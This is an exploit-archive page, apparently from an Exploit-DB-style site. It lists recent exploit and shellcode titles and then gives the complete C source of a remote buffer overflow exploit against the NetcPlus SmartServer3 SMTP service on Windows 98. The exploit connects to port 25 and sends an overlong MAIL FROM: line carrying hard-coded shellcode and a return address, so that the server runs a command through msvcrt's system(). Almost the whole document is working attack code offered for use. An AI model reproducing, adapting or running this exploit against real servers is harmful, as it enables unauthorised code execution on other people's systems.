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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
105 lines
No EOL
3.5 KiB
C
105 lines
No EOL
3.5 KiB
C
// source: https://www.securityfocus.com/bid/632/info
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There is a buffer overflow on the SmartServer3 SMTP service (long MAIL FROM:) that may allow an intruder to execute arbitrary code on the target server.
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(1) @Work SmartServer3
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/*=============================================================================
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NetcPlus SmartServer3 Exploit for Windows98
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The Shadow Penguin Security (http://shadowpenguin.backsection.net)
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Written by UNYUN (shadowpenguin@backsection.net)
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=============================================================================
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*/
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#include <stdio.h>
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#include <string.h>
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#include <netdb.h>
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#include <netinet/in.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <sys/time.h>
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#include <unistd.h>
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#define BUFSIZE 2000
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#define SMTP_PORT 25
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#define RETADR 1167
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#define JMPADR 1163
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#define JMPOFS 6
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#define EIP 0xbff7a06b
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#define NOP 0x90
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#define JMPS 0xeb
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unsigned char exploit_code[200]={
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0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
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0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
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0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
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0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
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0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
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0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
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0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
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0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
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0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
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0xFF,0x00};
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unsigned char cmdbuf[200]="msvcrt.dll.system.exit.welcome.exe";
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int main(int argc,char *argv[])
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{
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struct hostent *hs;
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struct sockaddr_in cli;
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char packetbuf[BUFSIZE+3000],buf[BUFSIZE];
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int sockfd,i,ip;
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if (argc<2){
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printf("usage\n %s HostName\n",argv[0]);
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exit(1);
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}
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bzero(&cli, sizeof(cli));
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cli.sin_family = AF_INET;
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cli.sin_port = htons(SMTP_PORT);
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if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
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if ((hs=gethostbyname(argv[1]))==NULL){
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printf("Can not resolve specified host.\n");
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exit(1);
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}
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cli.sin_family = hs->h_addrtype;
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memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
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}
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if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
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perror("socket"); exit(0);
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}
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if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
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perror("connect"); exit(0);
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}
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while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
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packetbuf[i]=0;
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if(strchr(packetbuf,'\n')!=NULL) break;
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}
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strcat(exploit_code,cmdbuf);
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exploit_code[65]=strlen(cmdbuf+23);
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memset(buf,0x90,BUFSIZE);
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ip=EIP;
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buf[RETADR ]=ip&0xff;
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buf[RETADR+1]=(ip>>8)&0xff;
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buf[RETADR+2]=(ip>>16)&0xff;
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buf[RETADR+3]=(ip>>24)&0xff;
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buf[JMPADR] =JMPS;
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buf[JMPADR+1]=JMPOFS;
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memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
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buf[2000]=0;
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sprintf(packetbuf,"helo penguin\r\n");
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write(sockfd,packetbuf,strlen(packetbuf));
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while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
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packetbuf[i]=0;
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if(strchr(packetbuf,'\n')!=NULL) break;
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}
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printf("%s\n",packetbuf);
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sprintf(packetbuf,"MAIL FROM: %s\r\n",buf);
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write(sockfd,packetbuf,strlen(packetbuf));
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sleep(100);
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close(sockfd);
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}
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------------------- |